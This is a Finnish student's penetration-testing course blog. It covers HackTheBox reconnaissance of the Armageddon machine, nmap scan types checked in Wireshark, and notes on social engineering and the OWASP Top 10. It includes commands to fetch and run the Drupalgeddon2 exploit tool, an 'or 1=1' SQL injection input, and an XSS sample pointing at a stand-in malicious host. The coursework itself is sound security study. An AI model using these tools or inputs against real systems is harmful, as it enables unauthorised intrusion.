Sillä välin tutkin sivustoa.

Eyewitness ei kerro mitään uutta tai yllättävää.

Eikä myöskään wfuzz tai gobuster

Tästä en suoraan keksi miten edetä, veikkaisin, että murtautuminen tulisi tapahtua Werkzeugissa, sillä muuten ainoastaan SSH on käytössä ja versio tuore.

HTB: Armageddon

Tutkin uudestaan tätä samaa konetta, jota olen jo aikaisemmassa kotiläksyssä tutkinut. Tämä koska HTB:lla ei ole montaa ilmaista “easy” konetta.

Aloitan taas nmapilla.

Ja tässä avoimet portit ovat SSH 22 ja HTTP 80, jota kuuntelee Apache. Käyttöjärjestelmä CentOS, versiosta en osaa tarkemmin sanoa, ei välttämättä ihan uusin. Muuta kiinnostavaa on varmaankin hakemistot, niistä varmaan löytyy jotain ja lisäksi Drupal 7, tämä on vieras, joten siitä etsin ensin tietoja.

Armageddonissa löytyy kirjautumissivu, jota voisi todennäköisimmin jotenkin hyödyntää.

Gobuster löytää tässä joukko hakemistoja, joista osa voisi tutkia tarkemmin.

wfuzz vahvistaa sen

Searchsploit löytää kyseisellä SSH-versiolla pari exploittia.

Apachesta löytyy myös muutama exploitti, sekä niihin skriptit, joten kokeilen niitä.

en oikein saanut mitään niistä toimimaan, eli joko näitä haavoittuvuuksia ei ole tai en osannut ajaa scriptit oikeilla argumenteillä.

Tutkin gobusterin löytämiä hakemistoja tarkemmin

Näiden joukossa löytyy password tiedosto, joka kertoo miten salasanoja salataan, eli siitä todennäköisesti olisi hyötyä. Myös scripteissä löytyy password hash niminen skripti.

c) Nimeä 1-3 walktrough:ta, joissa tunkeudutaan samantapaisiin palveluihin, joita käsittelit kohdassa b. Mitä työkaluja hyökkääjät käyttivät? Kokeile työkaluja (1-3 työkalua) ensin omassa ympäristössä, sitten HTB:n maalikoneita vastaan, raportoi ja arvioi tulokset.

Täältä https://www.hackingarticles.in/enubox-mattermost-vulnhub-walkthrough/ löytyy walktrough Vulnhubin koneesta, jossa pyörii myös mattermost. IP osoitteiden skannaukseen käytetään tässä netdiscover. Koneelle murtaudutaan TFTP kautta.

Huvikseni testasin netdiscoveria (vaikka olen jossain käyttänyt sitä aikaisemmin). Todella hidas, en jaksanut odottaa sitä loppuun.

Koneissa HTB: Bastard https://0xdf.gitlab.io/2019/03/12/htb-bastard.html ja HTB: Hawk https://0xdf.gitlab.io/2018/11/30/htb-hawk.html löytyy Drupal 7 ja siihen liittyvä haavoittuvuus. Bastard on Windows kone ja Hawk Linux, joten halusin hieman vertailla niitä. Molemmilla esiintyy Drupalin kirjautumissivu, johon murtaudutaan, joten se ainakin eroaa Armageddonista.

Työkaluja:

Drupalgeddon 2 https://github.com/dreadlocked/Drupalgeddon2 – testaa Drupalgeddon2 exploittia. Voisi Armageddonin nimen perusteella olla sopiva työkalu siihen.

Testasin työkalun ensin localhostilla. Ensin kloonasin sen GitHubista. Skriptin ajaminen ei heti onnistunut, mutta GitHubista löytyi siihen ratkaisu, piti ladata puuttuvat dependencies. Localhostilla työkalu ei kertonut oikein mitään, sillä portti 80 on kiinni.

$ git clone https://github.com/dreadlocked/Drupalgeddon2.git
$ sudo gem install highline
./drupalgeddon2.rb http://localhost/drupal-8/

Armageddonilla ajaminen näyttää lupaavalta.

Droopescan https://github.com/droope/droopescan testaa haavoittuvuuksia, liittyy käsittääkseeni juuri Drupaliin. Tämän kohdalla samat toimenpiteet kuin drupalgeddon2. En saanut kuitenkaan työkalua toimimaan localhostilla, asennus näköjään onnistui mutta en ymmärtänyt miten työkalun saa käyntiin. Tästä löytyi jotain apua https://github.com/droope/droopescan/issues/51

$ git clone https://github.com/droope/droopescan.git
$ cd droopescan
$ pip install -r requirements.txt
$ python3 droopescan scan --help

Vulnhubin Writeup koneessa https://0x00sec.org/t/vulnhub-boredhackerblog-cloud-av-writeup-walkthrough/20360 esiintyy myös Werkzeug. Tämän koneen sivustolla on tarkoitus kirjautua kutsukoodilla, ja sen voi saada sieppaamalla http liikenne. Ei oikein selvinnyt mitä työkalua siihen käytetään (ehkä wireshark?), mutta sen lisäksi tässä läpikäynnissä käytetään ainakin SQLmap, jonka avulla voi etsiä haavoittuuvuuksia SQL injektionille ja vastaavalle. SQLMap https://github.com/sqlmapproject/sqlmap

$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
$ python sqlmap.py -h # list of options

Työkalun ajaminen localhostilla ei onnistu, taas todennäköisin syy on suljettu http portti.

Seuraavaksi testaan työkalua ScriptKiddiella. Argumentti –forms testaa jos urlilla olevat lomakkeet ovat haavoittuvia injektionille. Työkalu vaatii aika paljon inputtia, eli siten myös syvempää osaamista.

4. aktiivinen tiedustelu ja nmap

Kurssisivu ja tehtävät: https://terokarvinen.com/2021/hakkerointi-kurssi-tunkeutumistestaus-ict4tn027-3005/

Santos et al: The Art of Hacking (Video Collection): [..] 4.3 Surveying Essential Tools for Active Reconnaissance.

Active reconnaissance

  • sending information to target network,
  • using portscans
  • set off alarms in logs – if monitored (passive reconnaissance is invisible to logs)
  • vulnerability scanning

Successful reconnaissance gives you an idea which systems and services to focus on, and helps sift through enormous amounts of data.

Tasks & Essential Tools

  1. port scanning to check for open ports (confirm ports from passive reconnaissance)
    • NMAP – most versatile and stable port scanner
      • port scanning
      • service detection
      • operating system detection
      • vulnerability scanning
    • Masscan – fastest port scanner
      • when scanning a lot of IP addresses and services
      • usability similar to nmap
    • UDP Proto Scanner – fast UDP port scanner
      • quick and easy to scan network for UDP services
      • finetuned specifically for UDP
  2. web service review, prioritize web applications
    • EyeWitness
      • helps prioritize between a lot of webservices
      • compiles a report with details for websites + screenshots from websites
  3. vulnerability scanning
    • network vulnerability scanners
      • OpenVAS – free, open source
      • Nessus, Nexpose, Qualys ($) – speed and efficiency
      • Nmap (limited)
        • script scan – vuln, malware, intrusion, exploit
          • scan a specific vulnerability
    • web vulnerability scanners
      • Nikto – popular, easy to use
      • WPScan – specific to WordPress websites
      • SQLMap – penetration testing on databases and SQL injection
      • Burp Suite – one of most popular for scanning web applications
        • much functionality vulnerability section
        • web application proxy
      • Zed Attack Proxy – similar to Burp, but free
        • proxy, used to test webapplications

Lyon 2009: Nmap Network Scanning: Chapter 1. Getting Started with Nmap

Vulnerability assessment – network discovery

  • target ip-address range
    • whois records
  • available hosts – services
  • general network topology details
  • firewall/filtering policies
  1. nmap list scan -sL
    • lists target ip address + reverse-DNS lookup (unless arg -n)
    • stealth – names of hosts can hint at potential vulnerabilities and give better understanding of the target network, without triggering alerts
    • double check that target range is correct
  2. port scan (SYN scan is default scan type)
    • application and version of services + OS
    • -sS TCP SYN scan, add -u to include UDP
    • -p specify ports or port range
    • -PE -PP -PS80,443 -PA3389 -PU40125 host discovery techinques = ping types, alternative: -Pn scan every ip wether it shows available host or not
    • -A advanced/aggressive: OS and service detection
    • -T4 adjusts timing to aggressive level
    • -oA outputs results in all formats (normal, XML, grepable)
    • -v verbose
    • scripts:
      • nmap-wrapper fast daily scan, include OS detection
      • nmap-diff – daily change reports
      • nmap-report specifications: open ports, os, rescan – uses version scanning to report true services rathe,nr than guessing based on port number

Phases of Nmap scan

  • Script pre-scanning
    • NSE Nmap Scripting Engine, special purpose scripts.
    • –script or -sC
    • ex: dhcp-discover and broadcast-dns-service-discovery
  • Target enumeration
    • Nmap researches the host specifiers provided by the user, which may be a combination of host DNS names, IP addresses, CIDR network notations etc.
  • Host discovery (ping scanning)
    • discover online targets on network
    • ARP, combinations of TCP, ICMP etc.
    • default, but can be skipped with -Pn
  • Reverse-DNS resolution
    • reverse-DNS names of all online hosts
    • Sometimes a host’s name provides clues to its function, and names make reports more readable than providing only IP numbers
    • skipped with -n and expanded to cover all target IPs with -R
  • Port scanning
    • open, closed, filtered
    • default, but can be skipped with -sn
  • Version detection
    • version of server software on open ports
    • enabled with -sV
  • OS detection -O
  • Traceroute –traceroute
  • Script scanning –script or -sC
  • Output
    • collects gathered information in file or to screen
  • Script post-scanning
    • after scanning and normal output
    • process results and deliver final reports and statistics

Legal issues

  • permission to scan – written authorization from target network representatives
  • specify target for scan as tightly as possible
    • ex. scan -p80 for webservers and ping scan instead of full scan for available hosts
    • avoid noisy and intrusive scan , version detection or script
    • SYN scan -sS is quieter than connect scan -sT

Silmäile (ei tarvitse lukea kokonaan, 40 liuskaa pitkä): Lyon 2009: Nmap Network Scanning: Chapter 15. Nmap Reference Guide

  • Port Scanning Basics (opettele, mitä tarkoittavat: open, closed, filtered; muuten vain silmäily)
    • open – an application on target machine is listening for connections/packets (TCP, UDP, SCTP)
      • open ports show services available for use on the network
    • closed – no applications listening, can open up at any time.
      • closed ports are reachable (receives and responds to nmap probes), helpful for host dicovery, ping scan and OS detection
    • filtered – unable to reach, nmap cannot determine if open or closed, because blocked by packet filtering (dedicated firewall device, router rules, host-based firewall software)
      • sometimes ICMP error messages (destionation unreachable: communication administratively prohibited) and sometimes just dropped
      • slows scan
    • unfiltered – responsive to probes, accessible but nmap cannot determine if open or closed
      • only ACK scan -> Windows scan, SYN scan or FIN scan can help resolve if port is open
    • open|filtered – nmap cannot determine if port is open or filtered
      • scan types where open port give no response (UDP, IP protocol, FIN, NULL, Xmas)
    • closed|filtered – nmap cannot determine if port is closed or filtered
      • only for IP ID idle scan
  • Port Scanning Techniques (opettele, mitä ovat: -sS -sT -sU; muuten vain silmäily)
    • most scan types are only available to privileged users, root or administrator (scans send and receive raw packets – root access)
    • nmap results are based on packets returned by target machine (or firewalls), hosts may be untrustworthy and send responses to confuse or mislead nmap
    • only one method at a time, except UDP scan (-sU) and any one of the SCTP scan types (-sY, -sZ) may be combined with any one of TCP scan types
    • -sS TCP SYN scan
      • default, popular, quick
      • stealthy (never completes TCP connections = half-open scanning)
      • clear, reliable differentiation between open, closed and filtered
    • -sT TCP connect scan
      • default when syn scan not an option (user doesn’t have raw packet privileges)
      • nmap asks underlying os to establish connection with target machine and port by issuing connect system call -> completes TCP connections
      • slow, requires more packet to obtain info and can create logs on target machine
    • -sU UDP scans
      • can be combined with a TCP scan type (SYN scan -sS)
      • sends UDP packet to every targeted port
        • ICMP port unreachable error (type 3, code 3) – port closed
        • othet ICMP unreachable errors – port filtered
        • service respond with UDP packet (occasionally) – open
        • no response – open|filtered – could be open or packet filters are blocking communication -> version detection -sV
      • slow

Silmäile (ei tarvitse lukea kokonaan): man nmap

a) Miten nmap toimii? Tee nmapilla seuraavat testit, sieppaa liikenne snifferillä (wireshark) ja analysoi tulokset. Tee testit mahdollisimman suppeasti, jotta analysointi on helpompaa. Esimerkiksi skannaa vain yksi portti yhdestä koneesta, jos ominaisuuden esittely ei hyöydy laajemmasta skannauksesta. Selitä myös, miksi nmap lähettää tuollaisia paketteja. Käytä nmap:ia normaalisti sudo:n kanssa. Kannattaa tietysti aloittaa lukemalla man-sivulta tai Nmap Reference Guidesta, mitä noilla toiminnoilla on ylipäänsä tarkoitus tehdä. Porttiskannaa ainoastaan omaa konetta omassa verkossa ja harjoitusmaaleja.

Tässä a-kohdassa jokainen alakohta edellyttää siepattujen pakettien analyysia.

Kokeilin ensin skannata omaa Kalikonettani (localhost), mutta se oli tylsä koska kaikki portit olivat kiinni.

Sen sijaan päätin skannata HTB:n Armageddon konetta. Liikennettä oli kuitenkin hankalaa seurata Wiresharkilla, koska siellä oli paljon muutakin kuin oma porttiskannaukseni.

  • TCP connect scan -sT

Nmapin tulokset näyttävät, että portit 22 ja 80 ovat auki.

Wiresharkin näkymää en osaa oikein tulkita. Käsittääkseni näkymän värikoodi näyttää minkälainen liikenne on kyseessä, eli vihreä näyttää onnistuneen TCP handshaken ja punainen epäonnistuneen. Tämä koska kyseessä on TCP Connect scan, eli nmap muodostaa yhteyden (= jää loki).

Kun tarkastelee liikennettä vain yhden portin osalta, tässä portti 80, käy helpommin ilmi mitä tapahtuu. Eli paketteja on yhteensä 6 (vaikka ei peräkkäisiä)

  • TCP SYN “used to be stealth” scan, -sS (tätä käytetään skannatessa useimmin)

SYN scan eroaa Connect scanista siten, että se ei vie TCP handshakea loppuun asti, vaan odottaa ainoastaan portin vastausta ennen kuin droppaa yhteyden. Tämän takia SYN scan on nopeampi (n. 26 sekunttia vs n. 2 sekunttia) ja myös hienovaraisempi (jättää vähemmän jälkiä lokiin).

Tässä näkee, että paketteja on vain 5 kun connect scanissa niitä oli 6, eli näistä puuttuu se lopullinen yhteys handshakesta.

  • ping sweep -sn

Ping sweep scan tarkistaa vastaako kohde pingiin, eli nmap lähettää ICMP echo requestin ja saa siihen vastauksen.

Jostain syystä liikenteessä näkyy myös SYN portille 443 ja ACK portille 80, ja en oikein ymmärrä mihin nämä liittyy.

  • don’t ping -Pn

Tämä skannaustyyppi tekee skannauksen ilman host discoverya, eli käytännössä nmap ei tarkista jos kohteet ovat online, vaan olettaa, että kaikki ovat.

  • version detection -sV (esimerkki yhdestä palvelusta yhdessä portissa riittää)

Versio skannaus etsii mikä palvelun versio porttia kuuntelee.

Tästä voisi ajatella, että nmap kokeilee GET requestilla eri versioita kunnes kohtaa oikean, mutta toisaalta liikenteestä näkyy ainoastaan kyselyitä HTTP 1.0 ja 1.0…. Portilla 80 on liikkunut paketteja yhteensä 125, joista suurin osa liittyy TCP handshakeen.

SSH portin 22 liikenne on ehkä hieman selvempää (ja paketteja vähemmän).

Tässä nähdään, että kone on vastannut SSH:lla kertoen mitä versiota käyttää.

b) Nmap:n toimintoja. Kokeile, anna esimerkit, selitä tulokset ja käyttötarkoitus. Seuraa aina snifferillä, tarvittaessa perustele analyysisi siepatulla liikenteellä.

  • porttien valinta -p1-100, –top-ports 5

Skannasin tällä HackTheBoxin verkkoa. Tämä skannaa porttinumeroiden 1-100 välissä kaikki verkon ip-osoitteiden top5 porttia, eli näköjään ftp, ssh, telnet, smtp ja http.

Wireshark näyttää kaikkiaan 2247 pakettia, joten tutkin liikennettä vain yhden ip:n osalta. Liikenteestä näkyy ensin ICMP pingi ja sen jälkeen TCP SYN kyselyt kyseisten porttien osalta.

  • ip-osoitteiden valinta, verkkomaskilla 10.10.10.0/24, alku- ja loppuosoitteella 10.10.10.100-130 (ipcalc auttaa ymmärtämään, miten verkkomaskia tulkitaan)
  • output files -oA foo

Nmap skannauksen tulokset tallennetaan “foo” nimiseen tiedostoon, joka on saatavilla kaikissa muodoissa (A). Tein ihan perus-skannauksen ilman parametreja, joten se kesti aika kauan, mutta ainakin mielestäni antoi kiinnostavampia tuloksia kuin top5 porttiskannaus. Skannauksesta luotiin kolme erillistä tiedostoa, joita voi helposti selailla.

  • version scanning -sV

Tässä olisin voinut hieman rajata skannausta, sillä se kesti kauan.

Paljon liikennettä oli myös Wiresharkissa, paketteja kaikkiaan 61120, joten tarkastelen taas vain osan.

Ensin nmap on taas pingannut ja sen jälkeen lähettään SYN kyselyt portteihin, ja saanut paljon hylkyjä (punaiset = RST = reset).

  • OS fingerprinting, version detection, scripts, traceroute -A (miksei mnemonic ole –and-kitchen-sink?)

Yritin tällä kertaa hieman rajata skannausta (eli skannasin vain yhden osoitteen), mutta silti siitä tuli aika laaja ja kesti kauan.

  • ajonaikaiset toiminnot (man nmap: runtime interaction): verbosity v/V, help ?, packet tracing p/P, status s (ja moni muu nappi)

v = verbose tulostaa skannauksen aikana tietoa siitä missä mennään. Voi olla hyödyllistä kun on esim. hidas skannaus käynnissä tai jos etsii jotain tiettyä voi skannauksen keskeyttää kun se on löydetty.

–packet-trace tekee suunnilleen saman mikä wireshark, eli näyttää mitä paketteja skannauksessa liikkuu.

  • normaalisti ‘sudo nmap’. Miten nmap toiminta eroaa, jos sitä ajaa ilman sudoa? Suorita ja analysoi esimerkki.

Sudolla vs ilman sudoa

Sudolla skannaus on hitaampi mutta laajempi, esim. tässä esimerkissä käytetty -A tekee tracerouten ja OS fingerprintin sudolla mutta ei ilman.

  • vertaile -sV vs -A kestoa (ja lähetetyn datan määrää jos osaat; time, nethogs, wireshark)

-A kesto 27.04 sekunttia ja pakettien määrä (Wiresharkissa) 3114

-sV kesto 11.29 sekunttia ja pakettien määrä 2308

Versioskannaus on luonnollisesti nopeampi ja sisältää vähemmän paketteja, sillä -A skannaushan sisältää versioskannauksen ja tekee sen lisäksi myös OS fingerprintin ja tracerouten.

c) Ninjojen tapaan. Aja nmap-versioskannaus -sV omaan paikalliseen weppipalvelimeen. Weppipalvelimeksi sopii esim ‘python3 -m http.server’ tai oma apache. Piiloutuuko nmap-skannaus hyvin palvelimelta? Vinkki: wiresharkissa “http” on kätevä filtteri, se tulee siihen yläreunan “Apply a display filter…” -kenttään. Nmap-ajon aikana p laittaa packet tracing päälle. Vapaaehtoinen lisäkohta: jääkö Apachen lokiin jokin todiste nmap-versioskannauksesta?

Käytin tähän Pythonin paikallisen testipalvelimen, jonka skannasin versioskannauksella.

Seurasin samalla Wiresharkissa http liikenteen.

En oikein tiedä mihin tämän testipalvelimen loki jää talteen (jos jää), mutta ainakin se tulosti skannauksen aikan lokit terminaaliin, eli lokiin jää skannauksesta jäljet.

d) UDP-skannaus. “Mulla olis vitsi UDP:sta, mutta en tiedä menisikö se perille”. Etsi tarvittaessa itse lähteet.

  • Mitkä ovat tavallisimmat tai kiinnostavimmat palvelut, joita UDP-skannauksella voisi löytää?

DNS – portti 53, SNMP – portit 161/162 ja DHCP – portit 67/68

  • Miksi UDP-skannaus on hankalaa ja epäluotettavaa?

Avoimet portit eivät yleensä vastaa tyhjiin tiedusteluihin, ja nmap ei osaa tulkita jos portti on avoin tai filtteröity jos tiedusteluihin ei vastata. Eri UDP palveluiden paketit ovat erilaisia, joten geneerisen paketin käyttäminen skannauksessa ei onnistu. Onnistunut tiedustelu vaatisi, että nmap lähettäisi jokaista palvelua vastaavan tiedustelun, mikä olisi todella hidasta ja vaatisi valtavan tietokannan. Tiedustelujen muodot sisältyvät versioskannauksessa, joten sitä voi hyödyntää kun haluaa välttää portteja tilassa open|filtered.

  • Miksi UDP-skannauksen kanssa kannattaa käyttää –reason flagia?

–reason lisää tuloksiin kolumnin, joka kertoo miksi nmap on luokitellut portin tietyllä tavalla

  • Vapaaehtoinen bonuskohta: näytä esimerkki onnistuneesta UDP-skannauksesta, sekä jonkin UDP:n erityisominaisuuden takia epäonnistuneesta tai harhaanjohtavan tuloksen antavasta UDP-skannauksesta.

Tämä ei ole varsinaisesti onnistunut skannaus, mutta ainakin antaa jotain tuloksia, sekä myös esimerkki miten yllä oleva –reason toimii.

Materiaalit:

https://nmap.org/book/port-scanning-options.html

https://nmap.org/book/scan-methods-udp-scan.html

e) Avaa yhteys HackTheBoxin verkkoon ja osoita, että yhteys toimii. Varmista esimerkkiosoitteella, että olet yhteydessä oikeaan HackTheBox maaliverkkoon. Voit esimerkiksi tarkistaa ipcalc:lla, että kyseessä on yksityinen IP. Kokeilla pingillä, että osoite vastaa vain, kun VPN-tunneli on päällä. Kokeilla surffata jotain sivua, joka näkyy vain tuolta maaliverkosta. Ja tietysti, että kaikki toimii odotetulla tavalla.

Yhdistän ensin HackTheBoxin VPN-tunneliin.

Käynnistän HTB:n koneen ja tutkin ipcalcilla, että kyseessä on oikea/sopiva maali.

Testaan yhteyden pingaamalla konetta onnistuneesti ja tarkistamalla, että pääsen surffaamaan koneen sivulle.

Seuraavaksi sammutan VPN-yhteyden ja testaan vielä pingata konetta varmistaakseni, että se on tavoitettavissa vain tunnelin kautta.

f) Tiedustele aktiivisesti joitakin HackTheBoxin koneita. Analysoi tulokset. Huomaa, että koneet pitää nykyisin käydä käynnistämässä weppiliittymästä. Käytä nmap-porttiskanneria. Seuraa koko ajan porttiskannerin toimintaa snifferillä, kuten tshark tai wireshark. HTB:n ratkaisut yhdessä sovitun salasanan taakse, jotta emme spoilaa toisten kilpailua. Pelkät komentojen tulosteet ilman analyysia eivät riitä, pääpaino on tulosten selittämisellä ja tulkinnoillasi. Vapaaehtoinen bonuskohta: Osaatko nimetä työkaluja, joilla löytämiäsi palveluita (tai jopa haavoittuvuuksia tai vanhempia versioita) voisi tutkia myöhemmin lisää tai jopa murtaa?

Tiedustelen samaa Armageddon konetta, jonka yhteyttä testailin edellisessä tehtävässä. Koska käytin jo samaa konetta aikaisimmassa tehtävässä, teen tässä hieman erilaisia skannauksia ihan vertailun vuoksi.

Testaan skannata materiaalista Lyon 2009: Nmap Network Scanning: Chapter 1. Getting Started with Nmap löydetyn yhdistelmän, joka näytti toimivan ihan hyvin vaikka olikin aika hidas.

Skannauksen tuloksista nähdään, että portit 22 ja 80 ovat avoimena ja näissä pyörii OpenSSH 7.4 ja Apache 2.4.6 sekä PHP 5.4.16.

SSH:n osalta löytyi kyseisellä versiolla muutama haavoittuvuus, https://nvd.nist.gov/vuln/search/results?form_type=Advanced&cves=on&cpe_version=cpe:/a:openbsd:openssh:7.4 ja Apachen osalta aika paljon https://nvd.nist.gov/vuln/search/results?form_type=Advanced&cves=on&cpe_version=cpe:/a:apache:http_server:2.4.6

3. social engineering

Kurssisivu ja tehtävät: https://terokarvinen.com/2021/hakkerointi-kurssi-tunkeutumistestaus-ict4tn027-3005/

Vierailijaluento: Social Engineering – Riku Juurikko

“Social engineering is any act that influences a person to take an action that may or mat not be in his or her best interests.”

Christopher Hadnagy
  • Mikä on social engineering?
    • Toisen henkilön vaikuttaminen tai manipuloiminen, ei välttämättä aina negaatiivisesti
    • Tavallisin tapa saada pääsy organisaatioon, ihminen yleensä heikoin lenkki – phising
    • Pieni riski – melko halpaa – valtava palkkio

Tiedustelu -> Tutkimus -> Hyväksikäyttö -> Levittäminen -> Jälkien siivoaminen

  • Päämäärä/motiivi – raha (#1), poliittinen vaikuttaminen, vakoilu, kilpailuetu, kauna/kosto, maine/huomion herättäminen
  • Tiedot – mitä me halutaan, mistä se löytyy, miten se validoidaan?
    • Tunne kohteesi
      • organisaation rakenne
      • yhteistyökumppanit
      • palveluntarjoajat
      • avoimet tai menneet työhakemukset (tietoa järjestelmistä, yhteystietoja jne.)
      • kiinnostavia domaineja – ADFS login
      • avoimet palvelut – haavoittuvia palveluita
  • Intelligence Collection Plan (ICP) – mitä halutaan saavutta ja mitä siihen tarvitaan
    • modernien armeijoiden ja tiedustelupalveluiden käyttämä suunnitelma/prosessi
    • edistyksen seuraaminen ja tehtävien jako
    • tehtävien käsittely, resurssointi
  • Basic data gathering toolkit
    • osintframework.com
    • Bellingcat’s online investigation toolkit
    • fonecta.fi / finder.fi (yritystiedot)
    • hakukoneet
  • Tiedon pakkauspretexting – esittäminen – mikä on päämäärä, perustuu tiedusteluun, mitä enemmän tiedät, sitä parempi tekosyy, ulkonäkö
    • phising – ylivoimaisesti tavallisin, s-posti
    • smshishing – lähettäjän numeron spoofaaminen
    • vishing – haittapuhelu, väärennetty tuki tai myynti

Principles of persuasion – Robert Cialdini (https://en.wikipedia.org/wiki/Influence:_Science_and_Practice

  • Reciprocity – vastavuoroisuus
    • “quid pro quo” – “something for something”
    • markkinointi, myynti, politiikka
    • lahjoja, palveluita – tee aloite, rakenna luottamusta
  • Scarcity – niukkuus
    • “The way to love anything is to realize that it might be lost”
    • markkinointi, myynti, huijaus
    • kiirellisyys tai rajoitettu tarjonta
  • Authority – auktoriteetti
    • “It is not wisdom but authority that makes a law”
    • asiantuntijoiden ja vallanihmisten kunnioittamisen hyväksikäyttö
  • Commitment & Consistency – sitoutuminen ja johdonmukaisuus
    • ”It is easier to resist at the beginning than at the end”
    • tuttuihin asioihin luottaminen
    • lähesty kohdetta pienellä helposti hyväksyttävällä pyynnöllä
    • huono kielioppi phising-viesteissä helpon kohteen löytämiseksi?
  • Liking – pidettävyys
    • ”If you like the stuff that I do, my chances of liking you go up.”
    • luottamuksen kasvattaminen – vaikuttavat tekijät: huollettu ulkonäkö, samankaltaisuus, kohteliaisuus, yhteistyöhaluisuus, asioiden yhdistäminen
  • Social Proof – sosiaaliset todisteet
    • ”When all think alike, no one thinks very much.”
    • laumakäyttäytyminen, ihmisillä on taipumus seurata muiden käyttäytymistä
    • hammaslääkärin suosittelema, suosituimmat tuotteet, ilmaiset tuotteet jne.
  • Unity – yhtenäisyys
    • “All for one and one for all, united we stand divided we fall.”
    • yhteenkuuluvuuden tunne samanlaisista uskomuksista, arvoista, rodusta, perheestä jne.
    • tämän periaatteen käyttö ja hyödyntäminen tunkeutumistestauksessa tulisi välttää

OWASP OWASP 10 2017 (pdf)

  • A1 Injection
    • yksi tavallisimmasta verkkohyökkäysistä
    • hyökkääjä murtautuu tietokantaan ja voi muuttaa tai tuhota tietoja ja pahimmassa tapauksessa hyökkääjä voi adminina hallita koko tietokantaa
      • Käytännössä tämän tehdän sotkemalla ja manipuloimalla tietokannan pyyntöjä.
      • esim. kirjautumissivu, johon hyökkääjä syöttää kirjautumistiedon tilalla SQL kommennon. Kommennon avulla hyökkääjä voi hakea tietokannasta dataa tai tutkia tietokannan rakennetta, jonka avulla hyökkääjä voi tunnistaa haavoittuvuudet.
    • käyttäjän syöttämä data ei validoida tai filtteröidä
    • esimerkkisyöte: or 1=1 (lause on aina tosi)
    • SQL Injectionia voi välttää validoimalla tietokannan pyynnöt, esimerkiksi syötettyjen merkkien perusteella. Tämän voi toteuttaa esimerkiski tietyillä parametreillä koodissa.
  • A2 Broken Authentication
    • hyödynnetään todennuksen ja istunnonhallintaan liittyviä virheellisiä asetuksia
      • höykkääjä voi saada käsiinsä salasanoja, avaimia ja istuntomerkkejä tai esittää toisia käyttäjiä väliaikaisesti tai pysyvästi
    • käytössä olevat salasanat ovat heikkoja tai defaulteja
    • session IDt URLssä tai session IDt jäävät voimaan
    • hyökkäyksiä voi olla salasanaan kohdistuvia esim. brute force tai sanakirjahyökkäyksiä. Vaihtoehtoisesti voi myös manipuloida tai saada haltuun session ID:ä tai avaimia.
    • hyökkäystä on mahdollista välttää ottamalla käyttään multi-factor autentikaatiota, vaihtamalla default salasanat, salasanapolitiikalla, seuraamalla epäonnistuneet loginit, suojaamalla session IDt
  • A3 Sensitive Data Exposure
    • monet sovellukset ja APIt eivät suojaa kunnolla arkaluonteisia tietoja, kuten talous-, terveys- ja henkilötietoja
      • heikkoa avainten luontia ja hallintaa
    • heikkoa suojausta voi hyödyntää esim. luottokorttipetoksissa ja henkilöllisyysvarkauksissa
    • arkaluonteiset tiedot voivat vaarantua tallennuksessa tai siirtymisessä, jos niissä ei ole ylimääräistä suojausta, esim. man-in-the-middle
    • tietoja on mahdollista saada haltuunsa esim. SQL injectionilla tai packet snifferin avulla (esim. Wireshark)
    • Haavoittuvuuksia voidaan välttää päivittämällä tietojen salausmenetelmiä, tallentamalla ainoastaan tarvittavaa tietoja ja salattuna
  • A7 Cross Site Scripting
    • hyökkäys, jossa hyökkääjä tunkeutuu luotettavien sivustojen tietoihin.
    • haavoittuvuuksia voi hyödyntää esimerkiksi kaappaamalla kirjautumisia varastamalla evästeiden tietoja tai muuttamalla sivuston näkyvyyttä ja käytettävyyttä.
      • Sivuston koodiin voi esimerkiksi piilottaa scriptejä jotka uudelleenohjaavat käyttäjän vahingollisiin sivustoihin tai varastavat käyttäjän tietoja.
        • hyökkääjän on mahdollista jopa saada täysi hallinta käyttäjän järjestelmästä
        • esimerkkisyöte:
<img src=“http://malicious.site.com/image.jpg/>
“>GoodYear recommends buying BridgeStone tires…
  • Cross-site scriptingille sopivia haavoittuvuuksia voi esiintyä esimerkiksi silloin, kun sivusto ei käsittele ja vastaa http-pyyntöihin turvallisella tavalla. Tällöin tätä pyyntöä ja sen vastausta on mahdollista muokata.
    • Haavoittuvuuksia voidaan välttää esimerkiksi filtteröimällä ja validoimalla käyttäjän antamia tietoja, ja salata näitä.

Santos et al 2018: Hacking Web Applications The Art of Hacking Series LiveLessons (video): Security Penetration Testing for Today’s DevOps and Cloud Environments: Lesson 5: Authentication and Session Management Vulnerabilities

  • Authentication – verifying that an individual, entity or website is whoever they are claiming to be
    • commonly performed by submitting a username or identifier and one or more items of private information, ex. password, key, token
  • Session management – how a server maintains a state of an entity that it’s actuallt interacting with, remember how to react with subsequent requests
    • session id – passed back and forth between server and client when transmittinf or receiving requests
      • should be unique and difficult to predict
  • Web authentication scheme – method/process to pass credentials from a user authenticating to a system, vary in security and complexity
    • SSL/TLS – typically used to ensure confidentiality, required for many authentication schemes
      • digital certificate / PKI – proves ownership of public key
        • trust chain: Certificate Authority CA -> root cert
        • browser has list of trusted CAs
      • simple vs mutual / one-way vs two-way authentication
        • simple: https connection from browser is established, client is verifying digital certificate of server
        • mutual: simple process + server requests the client to present certificate and check its owns collection of trusted certificates to determine to trust client
      • TLS-SRP – Secure Remote Password – password-based client authentication to server without need of certificate, not widely adopted
    • HTTP Basic Auth – pop-up messages in browser, no cookies, no handshakes
      • dedicated HTTP header to communicate encoded username and password, requires to cache credentials, pairs with SSL/TLS
      • drawbacks: no standard way to logout, no way to customize the login, client prompts, client needs to secure transactions, insecure
    • HTTP Form-based Auth – popular, simple, customizeable login
      • prompts username and password using HTML form
      • requires SSL/TLS
    • Digest Access Authentication (DAA)
      • only sends MD5 hash to server
      • not secure – collisions, weak hashing algorithm
    • Lightweight Third-party Authentication (LTPA) – IBM proprietary method
      • SingleSignOn – used in conjunction with another authentication technique
      • LTPA-token / cookie created when user logs in
    • OAuth, OAuth 2 – authorization scheme, popular, requires TLS
      • application registration
      • redirect URI – used for redirecting user from provider back to consumer
        1. consumer makes resource request to provider
        2. provider informs user of request and prompts authentication (any authentication scheme)
        3. temporary access token in HTTP header
      • user credentials are never exposed to application
    • OpenID (OID) / OpenID Connect – open standard for providing authentication
      • used by yahoo, google, wordpress
      • relying party RP – client outsourcing authentication to OID
      • attribute exchange extension – profile attributes to be provided from OID to RP
      • allows a user to maintain a single profile with OID provider of choice + authenticate with any third-party website/mobile app as RP
    • Security Assertion Markup Language SAML –
      • XML based open standard, maintained by Oasis
      • used for both authentication and authorization
      • capable of exchanging user profile attributes
